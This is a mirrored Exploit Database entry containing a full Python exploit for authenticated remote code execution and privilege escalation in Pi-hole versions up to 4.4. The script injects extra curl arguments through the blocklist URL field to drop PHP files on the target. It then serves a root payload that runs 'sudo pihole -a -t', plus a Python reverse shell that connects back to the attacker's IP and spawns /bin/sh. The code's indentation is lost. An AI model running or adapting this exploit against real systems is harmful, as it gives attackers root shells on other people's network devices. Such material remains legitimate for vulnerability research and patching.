Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation

Exploit Database
113 阅读

作者： Nick Frichette

日期： 2020-05-10
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/48443/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

#!/usr/bin/env python3

# Pi-hole <= 4.4 RCE

# Author: Nick Frichette

# Homepage: https://frichetten.com

# Note: This exploit must be run with root privileges and port 80 must not be occupied.

# While it is possible to exploit this from a non standard port, for the sake of

# simplicity (and not having to modify the payload) please run it with sudo privileges.

# Or setup socat and route it through there?

import requests

import sys

import socket

import _thread

import time

if len(sys.argv) < 4:

print("[-] Usage: sudo ./cve.py *Session Cookie* *URL of Target* *Your IP* *R Shell Port*")

print("\nThis script will take 5 parameters:\nSession Cookie: The authenticated session token.\nURL of Target: The target's url, example: http://192.168.1.10\nYour IP: The IP address of the listening machine.\nReverse Shell Port: The listening port for your reverse shell.")

exit()

SESSION = dict(PHPSESSID=sys.argv[1])

TARGET_IP = sys.argv[2]

LOCAL_IP = sys.argv[3]

LOCAL_PORT = sys.argv[4]

# Surpress https verify warnings

# I'm asuming some instances will use self-signed certs

requests.packages.urllib3.disable_warnings()

# Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.

shell_payload = """<?php

shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")

""" %(LOCAL_IP, LOCAL_PORT)

root_payload = """<?php

shell_exec("sudo pihole -a -t")

"""

def send_response(thread_name):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.bind((LOCAL_IP,int(80)))

sock.listen(5)

connected = False

while not connected:

conn,addr = sock.accept()

if thread_name == "T1":

print("[+] Received First Callback")

conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")

elif thread_name == "T2":

print("[+] Received Second Callback")

print("[+] Uploading Root Payload")

conn.sendall(bytes(root_payload, "utf-8"))

elif thread_name == "T3":

print("[+] Received Third Callback")

conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")

else:

print("[+] Received Fourth Callback")

print("[+] Uploading Shell Payload")

conn.sendall(bytes(shell_payload, "utf-8"))

conn.close()

connected = True

sock.close()

_thread.start_new_thread(send_response,("T1",))

# Fetch token

resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False)

response = str(resp.content)

token_loc = response.find("name=\"token\"")

token = response[token_loc+20:token_loc+64]

# Make request with token

data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}

resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)

if resp.status_code == 200:

print("[+] Put Root Stager Success")

# Update gravity

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(3)

_thread.start_new_thread(send_response,("T2",))

# Update again to trigger upload of root redirect

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)

_thread.start_new_thread(send_response,("T3",))

data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o teleporter.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}

resp = requests.post(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)

if resp.status_code == 200:

print("[+] Put Shell Stager Success")

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

time.sleep(1)

_thread.start_new_thread(send_response,("T4",))

resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/gravity.sh.php", cookies=SESSION, verify=False)

print("[+] Triggering Exploit")

try:

requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False)

except:

# We should be silent to avoid filling the cli window

None